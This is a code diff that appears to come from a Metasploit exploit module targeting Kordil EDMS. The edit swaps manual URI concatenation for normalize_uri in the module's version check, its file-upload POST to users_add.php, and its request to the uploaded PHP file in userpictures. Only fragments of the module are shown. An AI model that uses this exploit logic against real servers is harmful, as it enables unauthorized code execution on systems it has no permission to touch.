@@ -49,14 +49,13 @@ def initialize(info={})
49
49
def check
50
50
51
51
base = target_uri . path
52
- base << '/' if base [ -1 , 1 ] != '/'
53
52
peer = "#{ rhost } :#{ rport } "
54
53
55
54
# retrieve software version from login page
56
55
begin
57
56
res = send_request_cgi ( {
58
57
'method' => 'GET' ,
59
- 'uri' => " #{ base } global_group_login.php"
58
+ 'uri' => normalize_uri ( base , ' global_group_login.php' )
60
59
} )
61
60
if res and res . code == 200
62
61
if res . body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\. 2\. 60/
@@ -84,7 +83,7 @@ def upload(base, file)
84
83
85
84
res = send_request_cgi ( {
86
85
'method' => 'POST' ,
87
- 'uri' => " #{ base } users_add.php" ,
86
+ 'uri' => normalize_uri ( base , ' users_add.php' ) ,
88
87
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
89
88
'data' => data_post
90
89
} )
@@ -104,7 +103,6 @@ def on_new_session(client)
104
103
def exploit
105
104
106
105
base = target_uri . path
107
- base << '/' if base [ -1 , 1 ] != '/'
108
106
@peer = "#{ rhost } :#{ rport } "
109
107
@fname = rand_text_numeric ( 7 )
110
108
@@ -127,7 +125,7 @@ def exploit
127
125
begin
128
126
res = send_request_cgi ( {
129
127
'method' => 'GET' ,
130
- 'uri' => " #{ base } userpictures/ #{ @fname } .php"
128
+ 'uri' => normalize_uri ( base , ' userpictures' , " #{ @fname } .php")
131
129
} )
132
130
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
133
131
fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
0 commit comments